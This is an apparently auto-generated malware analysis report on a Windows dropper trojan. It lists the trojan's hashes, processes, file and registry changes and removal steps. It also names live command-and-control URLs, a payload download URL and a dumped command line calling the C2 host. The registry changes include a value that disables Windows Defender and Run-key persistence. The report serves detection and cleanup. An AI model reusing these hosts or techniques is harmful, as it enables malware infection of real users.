Dropped.Application.Generic.1683936_acf71053f8

August 19, 2021 15:18

Susp_Dropper (Kaspersky), Dropped:Application.Generic.1683936 (AdAware), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: acf71053f845d276d7acfc233fd3cb6f

SHA1: a871b602f3dde9e3e7d81f8bc97680e2cb6023b4

SHA256: 6bb95f9b27f744a61e84ccfddd0a1658be0703a1e524730a0a23ce95ffc47b4f

SSDeep: 3072:GgXdZt9P6D3XJXCBXCCZJMItOdoewR3kHhhDfrsHXTXQhr:Ge340B5ZJMCOdVwsxfrsHXTAhr

Size: 144931 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: Mail.Ru

Created at: 2009-12-06 00:50:52

Analyzed on: Windows7 SP1 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Dropped creates the following process(es):

setupok.exe:2896
%original file name%.exe:3752
ddnow.exe:2308
ddnow.exe:2100
ddnow.exe:1636
ddnow.exe:2212
ddnow.exe:4048
ddnow.exe:2748
ddnow.exe:804
ddnow.exe:2264
ddnow.exe:2360
tinstall.exe:4036

The Dropped injects its code into the following process(es):

applica.exe:1392

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process setupok.exe:2896 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

%Program Files%\applica\applica.exe (12 bytes)
%Program Files%\applica\key.ini (0 bytes)
%Program Files%\applica\uninstall.exe (1030 bytes)

The Dropped deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk2FD6.tmp (0 bytes)

The process %original file name%.exe:3752 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\dnow.exe (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\tinstall.exe (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\ddnow.exe (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\dnow4.exe (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\tinstall4.exe (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp\SimpleFC.dll (5469 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\ddnow4.exe (5 bytes)

The Dropped deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5D5B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\icka16591708.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\16591708.txt (0 bytes)

The process ddnow.exe:2308 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\aatxtname.txt (10 bytes)

The process ddnow.exe:2100 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process ddnow.exe:1636 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\setupok.exe (61 bytes)

The process ddnow.exe:2212 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process ddnow.exe:2748 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process ddnow.exe:804 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process ddnow.exe:2264 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process ddnow.exe:2360 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)

The process tinstall.exe:4036 makes changes in the file system.

The Dropped creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\system.ini (16 bytes)

The Dropped deletes the following file(s):

C:\Windows\System32\Tasks\Adobe Flash Player Updater (0 bytes)
C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore (0 bytes)
C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA (0 bytes)

Registry activity

The process setupok.exe:2896 makes changes in the system registry.

The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Applica]
"DisplayName" = "Applica"

"Publisher" = "Dotdo"

[HKLM\SOFTWARE\idot]
"idot" = "ok"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Applica]
"UninstallString" = "%Program Files%\Applica\uninstall.exe"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Applica" = "%Program Files%\applica\applica.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Applica" = "%Program Files%\applica\applica.exe"

The process %original file name%.exe:3752 makes changes in the system registry.

The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware" = "1"

The process ddnow.exe:2308 makes changes in the system registry.

The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ddnow_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

The process ddnow.exe:4048 makes changes in the system registry.

The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ddnow_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"MaxFileSize" = "1048576"
"EnableConsoleTracing" = "0"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

The process tinstall.exe:4036 makes changes in the system registry.

The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\tinstall_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\tinstall_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\tinstall_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\tinstall_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\tinstall_RASMANCS]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"

Dropped PE files

MD5	File path
b528db49e0768a9591d6ef902b67416a	c:\Program Files\applica\applica.exe
fe1e3670cdc51a0ad694683c98a8c22c	c:\Program Files\applica\uninstall.exe
d38543fc9ae37d188a23e06ee11d3504	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp\SimpleFC.dll
c5dbd61013cf8146a00f826baee93072	c:\Users\"%CurrentUserName%"\AppData\Local\ddnow.exe
a3d027a0f8a46f9adb96ab598d02e494	c:\Users\"%CurrentUserName%"\AppData\Local\ddnow4.exe
662c45356fcc64b55f8938e284d0c0d0	c:\Users\"%CurrentUserName%"\AppData\Local\dnow.exe
113d1d7b8a9039e6e63034284e35cc99	c:\Users\"%CurrentUserName%"\AppData\Local\dnow4.exe
008afd62201f96d10b0b748e2779274d	c:\Users\"%CurrentUserName%"\AppData\Local\setupok.exe
4a8acafc1fca3c19dcf38c7b95129036	c:\Users\"%CurrentUserName%"\AppData\Local\tinstall.exe
a5123d7682bfa3f0cbd9fa86ccc7f47a	c:\Users\"%CurrentUserName%"\AppData\Local\tinstall4.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
setupok.exe:2896
%original file name%.exe:3752
ddnow.exe:2308
ddnow.exe:2100
ddnow.exe:1636
ddnow.exe:2212
ddnow.exe:4048
ddnow.exe:2748
ddnow.exe:804
ddnow.exe:2264
ddnow.exe:2360
tinstall.exe:4036
Delete the original Dropped file.
Delete or disinfect the following files created/modified by the Dropped:
%Program Files%\applica\applica.exe (12 bytes)
%Program Files%\applica\key.ini (0 bytes)
%Program Files%\applica\uninstall.exe (1030 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\dnow.exe (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\tinstall.exe (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\ddnow.exe (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\dnow4.exe (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\tinstall4.exe (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp\SimpleFC.dll (5469 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\ddnow4.exe (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\aatxtname.txt (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\run1.txt (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\setupok.exe (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\system.ini (16 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Applica" = "%Program Files%\applica\applica.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Applica" = "%Program Files%\applica\applica.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	94208	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	286720	2536	2560	3.13045	8c712c343be341f0c008fe547f2adcd2

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 360
2ad305eb2625cacef55c0e012e3162da
f17d83f93c68a4057a7d562626fab745
2171ff59892413c65994b6335007fb76
59c258e3888d0b4c02040dd649f60018
1f3d33e118bbeef358807c43a9ff02bf
6fae0efc37d2fbae20229d8ad9fea2d6
a9a691d86babf412bff5063a916d813c
db34845a89a44e13403497c06916949e
834f9a1ad76269c7a2f255b664a93f7a
4f810ac44ebcf38b781f6ffec908b30e
30dd59ea6b89831b1efb9ddd8cdf7c4b
2d60312dfc2613c1aa639be1068d9a5f
543be1971fe641023ca9b4e9a441f88c
affd91f1318160d33910095c59662ca6
15b151a60ee59281793c4592e8089e42
1afd38ad853ffd5744e9f8b809183717
03e67c5fd3d17208331cb10da2b41514
421ccf1fd130b0efa5a22a3c5e9e1745
0050d5a52818ce0f6a2ddafc727f4bf7
850ce9dc2931538f978c921b749d8d86
ded140d9ab8c0312c15813af59f60e54
1b0c8d430a3f14b68c9769400a4d9750
f0bd73a4df4b9bc951a6ec697e8cb185
0bcb89e2de30006d7d458e8c2e3e693d
650bd6f7182838930fab35a994703725

Network Activity

URLs

URL	IP
hxxp://162.222.193.23/goet1.php?p=&pid=&all=&dotnet=yes
hxxp://162.222.193.23/soid1.php?p=&aaaip=564810
hxxp://www.rosalesscholarly.pw/act/ehka.php?w=Windows7Ultimate&a=True&b=;7-Zip;ActiveState;Adobe;ATI Technologies;CBSTEST;Classes;Clients;Ghisler;Google;Intel;JavaSoft;JreMetrics;Macromedia;Microsoft;Mozilla;mozilla.org;MozillaPlugins;ODBC;Perl;Policies;RegisteredApplications;Sonic;ThinPrint;VMware, Inc.;WinPcap;WOW6432Node;Microsoft
hxxp://162.222.193.23/run1.php?a=flash&b=111
hxxp://162.222.193.23/setup200.exe
hxxp://162.222.193.23/run1.php?a=flash&b=rand
hxxp://162.222.193.23/run1.php?a=flash&b=setupok.exe - 61844
hxxp://162.222.193.23/run1.php?a=flash&b=setupok.exe - 61844 - 1
hxxp://162.222.193.23/run1.php?a=flash&b=setupok.exe - 61844 - 1 - ready
hxxp://162.222.193.23/newc4nT.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Dropped connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_3752:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

Gw2.Hw

Gw2.Hw

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

C:\Users\"%CurrentUserName%"\AppData\Local\ddnow.exe "hXXp://162.222.193.23/newc4nT.php" "OK" "C:\Users\"%CurrentUserName%"\AppData\Local\icka16591708.txt"

C:\Users\"%CurrentUserName%"\AppData\Local\ddnow.exe "hXXp://162.222.193.23/newc4nT.php" "OK" "C:\Users\"%CurrentUserName%"\AppData\Local\icka16591708.txt"

s\"%CurrentUserName%"\AppData\Local\run1.txt"

s\"%CurrentUserName%"\AppData\Local\run1.txt"

276d7acfc233fd3cb6f.exe;0" "16591708.txt"

276d7acfc233fd3cb6f.exe;0" "16591708.txt"

C:\Users\"%CurrentUserName%"\AppData\Local\icka16591708.txt

C:\Users\"%CurrentUserName%"\AppData\Local\icka16591708.txt

SimpleFC.dll

SimpleFC.dll

SID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\InprocServer32

SID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\InprocServer32

ers\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp\SimpleFC.dll

ers\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp\SimpleFC.dll

> ?'?6?=?[?

> ?'?6?=?[?

8 8$8(8,808

8 8$8(8,808

7%7/767~7

7%7/767~7

5!5%5)5-51555

5!5%5)5-51555

KWindows

KWindows

HNetCfg.FwMgr

HNetCfg.FwMgr

kernel32.dll

kernel32.dll

user32.dll

user32.dll

GetKeyboardType

GetKeyboardType

advapi32.dll

advapi32.dll

oleaut32.dll

oleaut32.dll

GetCPInfo

GetCPInfo

gdi32.dll

gdi32.dll

AddPort

AddPort

EnableDisablePort

EnableDisablePort

IsPortAdded

IsPortAdded

IsPortEnabled

IsPortEnabled

RemovePort

RemovePort

? ?'?6?=?_?

? ?'?6?=?_?

>6

>6

hWEB

hWEB

..bYc

..bYc

icka16591708.txt

icka16591708.txt

5.ocx

5.ocx

ICKA16~1.TXT

ICKA16~1.TXT

rs\"%CurrentUserName%"\AppData\Local\setupok.exe

rs\"%CurrentUserName%"\AppData\Local\setupok.exe

cf71053f845d276d7acfc233fd3cb6f.exe

cf71053f845d276d7acfc233fd3cb6f.exe

\Windows\system32\Macromed\Flash\Flash32_23_0_0_185.ocx

\Windows\system32\Macromed\Flash\Flash32_23_0_0_185.ocx

c:\%original file name%.exe

c:\%original file name%.exe

C:\Users\"%CurrentUserName%"\AppData\Local

C:\Users\"%CurrentUserName%"\AppData\Local

%original file name%.exe

%original file name%.exe

ers\"%CurrentUserName%"\AppData\Local\Temp\nsz5D5B.tmp

ers\"%CurrentUserName%"\AppData\Local\Temp\nsz5D5B.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5DD9.tmp

Windows

Windows

setupok.exe - 61844 - 1

setupok.exe - 61844 - 1

Nullsoft Install System v2.46

Nullsoft Install System v2.46

-Operation f

-Operation f

Eigenschaft %s existiert nicht.

Eigenschaft %s existiert nicht.

OLE-Fehler %.8xBDie Methode '%s' wird vom Automatisierungsobjekt nicht unterst

OLE-Fehler %.8xBDie Methode '%s' wird vom Automatisierungsobjekt nicht unterst

ge ($0%x)3Komponente mit der Bezeichnung %s existiert bereits/In der Stringliste sind Duplikate nicht erlaubt#Datei %s kann nicht erstellt werden#Datei %s kann nicht ge

ge ($0%x)3Komponente mit der Bezeichnung %s existiert bereits/In der Stringliste sind Duplikate nicht erlaubt#Datei %s kann nicht erstellt werden#Datei %s kann nicht ge

ffnet werden(''%s'' ist kein g

ffnet werden(''%s'' ist kein g

pft (%d)#Zu viele Eintr

pft (%d)#Zu viele Eintr

ge in der Liste (%d)*Listenindex

ge in der Liste (%d)*Listenindex

berschreitet das Maximum (%d)BExpandieren des Speicher-Stream wegen Speichermangel nicht m

berschreitet das Maximum (%d)BExpandieren des Speicher-Stream wegen Speichermangel nicht m

glich Fehler beim Lesen von %s%s%s: %s

glich Fehler beim Lesen von %s%s%s: %s

%s.Seek nicht implementiert

%s.Seek nicht implementiert

r '%s' nicht gefunden&%s kann nicht zu %s zugewiesen werden

r '%s' nicht gefunden&%s kann nicht zu %s zugewiesen werden

Klasse %s nicht gefunden

Klasse %s nicht gefunden

%s (%s, Zeile %d)

%s (%s, Zeile %d)

Abstrakter FehlerBZugriffsverletzung bei Adresse %p in Modul '%s'. %s von Adresse %p

Abstrakter FehlerBZugriffsverletzung bei Adresse %p in Modul '%s'. %s von Adresse %p

Systemfehler. Code: %d.

Systemfehler. Code: %d.

%s:Ein Aufruf einer Betriebssystemfunktion ist fehlgeschlagen

%s:Ein Aufruf einer Betriebssystemfunktion ist fehlgeschlagen

ltige Variant-Operation#Ung

ltige Variant-Operation#Ung

ltige Variant-Operation ($%.8x)

ltige Variant-Operation ($%.8x)

Variant ist kein ArrayBVariante des Typs (%s) konnte nicht in Typ (%s) konvertiert werdenF

Variant ist kein ArrayBVariante des Typs (%s) konnte nicht in Typ (%s) konvertiert werdenF

berlauf bei der Konvertierung einer Variante vom Typ (%s) in Typ (%s)

berlauf bei der Konvertierung einer Variante vom Typ (%s) in Typ (%s)

ltiger Variant-Typ Operation wird nicht unterst

ltiger Variant-Typ Operation wird nicht unterst

Externe Exception %x$Auswertung von assert fehlgeschlagen

Externe Exception %x$Auswertung von assert fehlgeschlagen

ltige Zeigeroperation

ltige Zeigeroperation

ltige Typumwandlung4Zugriffsverletzung bei Adresse %p. %s von Adresse %p

ltige Typumwandlung4Zugriffsverletzung bei Adresse %p. %s von Adresse %p

Privilegierte Anweisung(Exception %s in Modul %s bei %p.

Privilegierte Anweisung(Exception %s in Modul %s bei %p.

Anwendungsfehler7Format '%s' ung

Anwendungsfehler7Format '%s' ung

r Format '%s'(Variant-Methodenaufruf nicht unterst

r Format '%s'(Variant-Methodenaufruf nicht unterst

"'%s' ist kein g

"'%s' ist kein g

ltiger Integerwert"'%s' ist kein g

ltiger Integerwert"'%s' ist kein g

E/A-Fehler %d

E/A-Fehler %d

ltige Gleitkommaoperation

ltige Gleitkommaoperation

lash\Flash32_23_0_0_185.ocx

lash\Flash32_23_0_0_185.ocx